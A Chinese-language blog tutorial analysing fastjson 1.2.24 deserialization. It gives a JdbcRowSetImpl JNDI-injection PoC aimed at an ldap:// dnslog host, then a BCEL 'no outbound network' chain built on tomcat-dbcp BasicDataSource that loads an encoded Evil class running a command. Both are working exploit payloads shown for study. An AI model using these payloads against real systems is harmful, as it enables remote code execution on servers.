fastjson-BCEL不出网打法原理分析

FastJson反序列化漏洞

与原生的 Java 反序列化的区别在于,FastJson 反序列化并未使用 readObject 方法,而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法,将JSON 字符串还原成对象,当这些自动调用的方法中存在可利用的潜在危险代码时,漏洞便产生了。

fastjson用法:

1.将字符串转换为json格式,通过key获取value:

class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式,提取相关数据
String s = "{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject jsonobject = (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红

这么简单好用的一个功能为什么会出现漏洞?

2.将JSON还原成对象:

class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式,提取相关数据
String s = "{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject jsonobject = (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红
class User {
private String id;
User() {
System.out.println("User go");
}
public void setId(String ids) {
System.out.println("setId go");
this.id = ids;
}
public String getId() {
System.out.println("GetId go");
return this.id;
}
}
public class Fastjson {
public static void main(String[] args) {
User a = new User();
String json = JSON.toJSONString(a); //序列化 转为json
// System.out.println(json);
System.out.println(JSON.parseObject(json,User.class)); //反序列化 转为
原始数据
}
}

result:会自动调用 Get方法和构造方法。

图片

fastjson漏洞产生原因:

public class Fastjson {
public static void main(String[] args) {
JSONObject jsonObject =
JSON.parseObject({\"@type\":\"Java_deserialization.User\",\"id\":\"123\"}");
System.out.println(jsonObject);
}
}

result:会自动调用Get,Set,构造方法。

图片

这里fastjson提供了AutoType这种方式来指定需要还原的对象以及值 {"@type":"Java_deserialization.User","id":"123"},其中@type后面跟进的就是我们所需要还原的对象 (可控)后面跟进的id也就是这个类里面的属性,如果有一个fastjson反序列化点可控那么我们就可以随 意指定一个恶意类,如果这个恶意类里面的构造方法或者Get,Set方法调用了恶意的方法那么就会造成 反序列化漏洞。

fastjson什么时候会调用get方法

细节就不调试了,感兴趣可以调试JavaBeanInfo.build() 里面的规则

● 只存在 getter 方法,无 setter 方法。

● 方法名称长度大于等于4。

● 非静态方法。

● 方法名以 get 开头,且第四个字符为大写字母,例如 getAge。

● 方法无须入参。

● 方法返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和 AtomicLong 的其中一个。

fastjson1.2.24-JndI注入

Poc:

public class Fastjson {
public static void main(String[] args) {
System.out.println(JSON.parseObject("
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://erh3yu.dnslog.cn\"," +
"\"autoCommit\":\"true\"}"));
}
}

图片

根据之前的分析,可以知道攻击者指定了一个类 @type:com.sun.rowset.JdbcRowSetImpl,然后给类里面的属性进行了赋值(就跟之前的id一样的),那么赋值以后就会调用对应的set方法,也许危险代码 就在set方法里面:

1.调用set方法dataSourceName:

图片

2.调用setAutoCommit方法:为什么是true?这里autoCommit是一个布尔值,你传false 或者0,1都可以。

图片

会进入caonnect方法,危险方法就是这个connect:

3.connect方法:

图片

熟悉Java的朋友就会知道这是一个Jndi注入点,其中里面的dataSourceName是可控的就是我们刚刚传 入的ldap协议,这里就不过多的阐述ldap协议了,后面会单独的去做笔记。ldap协议属于jndi里面的一 种可以远程动态加载其他服务器上面的资源,如果远程加载的对象可控那么我们就可以远程加载自己构 建的恶意类。

4.这里我们跟进lookup看看:

图片

5.getURLOrDefaultInitCtx方法:

图片

这里会对我们传入的uri进行判断,判断是什么协议比如ldap,rmi等远程加载数据的协议。

fastjson1.2.24-BCEL不出网打法

刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启 Feature.SupportNonPublicField ,并且实际应用中其实不多见所以我们就介绍另外一种 攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但 在实际攻击中还算是比较常见的。

复现环境

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
// tomcat-bdcp在7还是8版本一下名称叫做dbcp,大家引入的时候注意一下

POC:

{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}

这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多 的人都没有说明,也没有告诉大家如何生成,后面部分会为一步一步说。

分析:

正常使用BCEL:

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
//不考虑fastjson情况就正常调用该类
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
classLoader.loadClass("$$BCEL$$"+code).newInstance();
//将文件转为字节码数组
public static byte[] fileToBinArray(File file){
try {
InputStream fis = new FileInputStream(file);
byte[] bytes = FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException("transform file into bin Array 出错",ex);
}
}
}
//恶意类
package Java_deserialization;
import java.lang.Runtime;
import java.lang.Process;
public class Evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
//javac Evil.java 转为.class,动态调用的是字节码
com.sun.org.apache.bcel.internal.util里面有一个classLoader类,ClassLoader类里面有一个
loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入
的。

图片

代码很简单,创建一个对象然后调用loadClass方法,需要注意的是为什么我们需要做编码这一步:String code = Utility.encode(bytes,true);

我们在调用loadClass方法的时候会调用 creatClass方法,这里需要跟进去看看

图片

图片

可以看到在进入到 creatClass方法以后会对数据进行解码,所以在之前我们需要进行编码而且为了满足 条件需要加上“$$BCEL$$”相关的字符串才能绕过if判断。

图片

成功执行命令,那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。

tomcat-dbcp:

结合tomcat-dbcp这个类进行组合达到触发fastjson的目的:

tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法:

图片

getConnection()方法在返回的时候会调用createDataSource()方法:

图片

createDataSource()方法又会调用createConnectionFactory()方法,

图片

问题代码:

driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

正常BCEL的代码:

ClassLoader classLoader = new ClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();

通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的:

图片

public class fastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();
}

攻击链:

换成正常POC测试:

public class fastjsonBcel {
public static void main(String[] args) throws Exception {
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
String s = "
{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":
\"$$BCEL$$" + code + "\",\"driverClassloader\":
{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/635789.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙开发系列教程(五)--ArkTS语言:组件开发

1、基础组件 组件API文档&#xff1a;https://developer.huawei.com/consumer/cn/doc/harmonyos-references-V2/84_u58f0_u660e_u5f0f_u5f00_u53d1_u8303_u5f0f_uff09-0000001427744776-V2 查看组件API 外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传 容…

状态管理库之 mobx

一文快速上手 mobx&#xff01; 一、概述 mobx 是一个简单的可拓展的状态管理库&#xff0c;无样本代码风格简约不推荐使用装饰器语法可以运行在任何支持 es5 的环境中&#xff0c;包含浏览器和 node 二、核心概念 2.1 observable 被 mobx 跟踪的状态 2.2 action 通过某个…

【leetcode】回溯总结

本文内容来自于代码随想录https://www.programmercarl.com/ 思想 一棵树中的纵向遍历结束回到上一层的过程&#xff0c;比如&#xff1a; 这个过程通常回伴随恢复现场的过程。 模板 void backtracking(参数) {if (终止条件) {存放结果;return;}for (选择&#xff1a;本层集…

如何在Docker下部署MinIO存储服务通过Buckets实现文件的远程上传

&#x1f4d1;前言 本文主要是Linux下通过Docker部署MinIO存储服务实现远程上传的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是青衿&#x1f947; ☁️博客首页&#xff1a;CSDN主页放风讲故事 &#…

Netty-Netty源码分析流程图

netty服务端流程图 补充

线性表--顺序表

目录 1.什么是顺序表 2.动态顺序表实现 2.1动态顺序表结构体 2.2初始化 2.3打印验证函数 2.4判断是否扩容&#xff0c;按需扩容 2.5头插/尾插 2.6头删/尾删 2.7指定位置插入数据/指定位置删除数据 3.动态顺序表代码 1.什么是顺序表 线性表是n个具有相同特性的数据元素的…

Jmeter的文件参数化:CSV数据文件设置和_CSVRead函数

一、CSV数据文件设置 1、简介 CSV数据文件配置&#xff08;CSV Data Set Config&#xff09;可以将CSV文件中数据读入自定义变量中 Jmeter中CSV数据文件配置的界面如下图所示&#xff1a; 其中&#xff1a; &#xff08;1&#xff09;文件编码 文件的编码格式&#xff0c;与所…

SpringBoot项目整合MybatisPlus并使用SQLite作为数据库

文章目录 SQLite介绍搭建项目创建项目修改pom.xml SQLite查看SQLite是否安装创建数据库创建数据表IDEA连接SQLitenavicat连接SQLite数据库 后端增删改查接口实现MybatisX生成代码不会生成看这个UserUserMapperUserMapper.xml controller创建配置文件application.yaml启动类Incr…

halcon胶水过少检测

简单算法识别胶水不足的情况. dev_set_draw (‘margin’) dev_set_line_width (3) dev_set_color (‘green’) dev_get_window (WindowHandle) set_system (‘filename_encoding’, ‘utf8’) list_files (‘胶水污染残缺’, [‘files’,‘follow_links’], ImageFiles) tuple…

AI短视频制作:创意与技术的完美结合

文章目录 一、充分了解AI技术的应用范围和优势二、创意策划&#xff0c;确定作品主题和风格三、素材收集&#xff0c;丰富作品内容四、特效制作&#xff0c;提升作品视觉效果五、配音处理&#xff0c;增强作品表现力六、作品发布&#xff0c;扩大作品传播范围《AI短视频制作一本…

【数据结构】可持久化线段树(主席树)

文章目录 接下来是一道例题再放一道标记永久化主席树再加一道主席树在线处理 主席树 即为 可持久化线段树&#xff0c;是一种可以记录每一个修改版本的数据结构。 难以进行区间的修改操作 主席树存储的信息 struct Node {int l, r; // 左结点和右结点int cnt; // 区间内有多…

1.php开发-个人博客项目文章功能显示数据库操作数据接收

&#xff08;2022-day12&#xff09; #知识点 1-php入门&#xff0c;语法&#xff0c;提交 2-mysql 3-HTMLcss ​ 演示案例 博客-文章阅读功能初步实现 实现功能&#xff1a; 前端文章导航&#xff0c;点入内容显示&#xff0c;更改ID显示不同内容 实现步骤&#xff1…

WebSocket协议、与HTTP对比

WebSocket 也可前往本人的个人网站进行阅读 WebSocket 和 HTTP WebSocket和HTTP协议一样&#xff0c;都是基于TCP协议实现的应用层协议。 HTTP协议通常是单边通信&#xff0c;主要用于传输静态文档、请求-响应通信&#xff0c;适用于Web浏览器加载网页、API调用等。然而Web…

编译和链接(翻译环境:预编译+编译+汇编+链接​、运行环境)

一、翻译环境和运行环境​ 在ANSI C的任何一种实现中&#xff0c;存在两个不同的环境。​ 第1种是翻译环境&#xff0c;在这个环境中源代码被转换为可执行的机器指令。​ 第2种是执行环境&#xff0c;它用于实际执行代码。​ VS中编译器&#xff1a;cl.exe &#xff1b;Linux中…

INTEWORK—PET 汽车软件持续集成平台

产品概述 INTEWORK-PET-CI是经纬恒润自主研发的汽车软件持续集成&持续交付平台&#xff0c;在传统的持续集成基础上深化了研运一体化&#xff08;DevOps&#xff09;的概念&#xff0c;将嵌入式软件中的拉取代码、检查、构建、测试、版本管理以及发布交付等环节串联起来&am…

【微信小程序独立开发 4】基本信息编辑

这一节完成基本信息的编辑和保存 首先完成用户头像的获取 头像选择 需要将 button 组件 open-type 的值设置为 chooseAvatar&#xff0c;当用户选择需要使用的头像之后&#xff0c;可以通过 bindchooseavatar 事件回调获取到头像信息的临时路径。 从基础库2.24.4版本起&…

初阶数据结构:顺序表

目录 1. 引子&#xff1a;线性表2. 简单数据结构&#xff1a;顺序表2.1 顺序表简介与功能模块分析2.2 顺序表的实现2.2.1 顺序表&#xff1a;存储数据结构的构建2.2.2 顺序表&#xff1a;初始化与空间清理&#xff08;动态&#xff09;2.2.3 顺序表&#xff1a;插入与删除数据2…

爬虫笔记(一):实战登录古诗文网站

需求&#xff1a;登录古诗文网站&#xff0c;账号&#xff0b;密码&#xff0b;图形验证码 第一&#xff1a;自己注册一个账号&#xff0b;密码哈 第二&#xff1a;图形验证码&#xff0c;需要一个打码平台&#xff08;充钱&#xff0c;超能力power&#xff01;&#xff09;或…

信息登记小程序怎么做_重塑用户互动,开启全新营销篇章

信息登记小程序&#xff1a;重塑用户互动&#xff0c;开启全新营销篇章 在数字化浪潮中&#xff0c;小程序以其便捷、高效的特点&#xff0c;逐渐成为企业与用户之间沟通的桥梁。其中&#xff0c;信息登记小程序更是凭借其独特的定位&#xff0c;在众多小程序中脱颖而出。本文…

[C#]winform部署openvino调用padleocr模型

【官方框架地址】 https://github.com/PaddlePaddle/PaddleOCR 【算法介绍】 OpenVINO和PaddleOCR都是用于计算机视觉应用的工具&#xff0c;但它们有不同的特点和用途。OpenVINO是一个由Intel开发的开源工具套件&#xff0c;主要用于加速深度学习推理&#xff0c;而PaddleOC…